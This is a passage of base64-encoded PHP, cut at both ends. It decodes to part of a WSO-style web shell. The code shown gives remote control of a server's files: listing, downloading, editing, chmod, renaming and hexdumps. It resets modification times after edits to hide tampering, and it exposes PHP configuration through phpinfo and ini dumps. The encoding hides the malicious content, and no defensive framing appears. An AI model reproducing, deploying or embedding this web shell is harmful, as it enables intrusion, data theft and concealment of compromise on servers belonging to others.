AgICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwogICAgICAgIH0KICAgICAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CiAgICAgICAgZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgewogICAgICAgICAgICAgICAgaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgICAgICB9CiAgICAgICAgdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7CiAgICAgICAgdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsKICAgICAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKICAgICAgICAkbCA9IDA7CiAgICAgICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nIC4gJGZbJ2xpbmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP21hZFNpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddCiAgICAgICAgICAgICAgICAgICAgICAgIC4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ2RlbGV0ZVwnLCBcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJykiPiBYIDwvYT48L3RkPjwvdHI+JzsKICAgICAgICAgICAgICAgICRsID0gJGw/MDoxOwogICAgICAgIH0KICAgICAgICBlY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+CiAgICAgICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKCiAgICAgICAgCiAgICBtYWRmb290ZXIoKTsKIH0KICAgIAogIGZ1bmN0aW9uIG1hZEZpbGVzVG9vbHMoKSB7CiAgICAgICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQogICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH1leGl0OwogICAgICAgIH0KICAgICAgICBpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKICAgICAgICAgICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICJlZGl0IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgbWFkaGVhZCgpOwogICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CiAgICAgICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+RklMRSBET0VTVCBOT1QgRVhJVFMgPC9wcmU+PC9kaXY+IjsKICAgICAgICAgICAgICAgIG1hZEZvb3RlcigpOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICAgICAgaWYoISR1aWQpIHsKICAgICAgICAgICAgICAgICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsKICAgICAgICB9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOwogICAgICAgIGVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT9tYWRTaXplKGZpbGVzaXplKCRfUE9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJy5tYWRQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwogICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgIGlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkKICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgICAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkKICAgICAgICAgICAgICAgICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICAgICAgZm9yZWFjaCgkbSBhcyAkdikKICAgICAgICAgICAgICAgIGVjaG8gJzxhICBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+PHNwYW4+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+PHNwYW4+ICcuJHYuJyA8L3NwYW4+IDwvYj4nOiR2KS4nIDwvc3Bhbj48L2E+ICc7CiAgICAgICAgZWNobyAnPGJyPjxicj4nOwogICAgICAgIHN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKICAgICAgICAgICAgICAgIGNhc2UgJ3ZpZXcnOgogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOwogICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdoaWdobGlnaHQnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiggQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnY2htb2QnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ2hleGR1bXAnOgogICAgICAgICAgICAgICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAkbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwogICAgICAgICAgICAgICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj1ibGFjaz48dHI+PHRkIGJnY29sb3I9Z3JheT48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAcmVuYW1lKCRfUE9TVFsncDEnXSwgJF9QT1NUWydwMyddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCEnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdUb3VjaGVkISc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgbWFkRm9vdGVyKCk7Cn0gIAoKZnVuY3Rpb24gbWFkcGhwZXZhbCgpCnsKICAgIG1hZGhlYWQoKTsKICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmknKSkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICAkSU5JPWluaV9nZXRfYWxsKCk7IApwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCiAgICAgICAgLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5QYXJhbTwvdGQ+JwogICAgICAgIC4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+R2xvYmFsIHZhbHVlPC90ZD4nCiAgICAgICAgLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwogICAgICAgIC4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+QWNjZXNzPC90ZD48L3RyPic7CmZvcmVhY2ggKCRJTkkgYXMgJHBhcmFtID0+ICR2YWx1ZXMpIAogICAgICAgIHByaW50ICJcbiIuJzx0cj4nCiAgICAgICAgICAgICAgICAuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+JwogICAgICAgICAgICAgICAgLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snZ2xvYmFsX3ZhbHVlJ10uJyA8L3RkPicKICAgICAgICAgICAgICAgIC4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2xvY2FsX3ZhbHVlJ10uJyA8L3RkPicKICAgICAgICAgICAgICAgIC4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiAgICAgICAgICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwogICAgICAgICAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOwogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKICAgICAgICB9CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICBwaHBpbmZvKCk7CiAgICAgICAgICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwogICAgICAgICAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOwogICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKICAgICAgICB9CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDInXS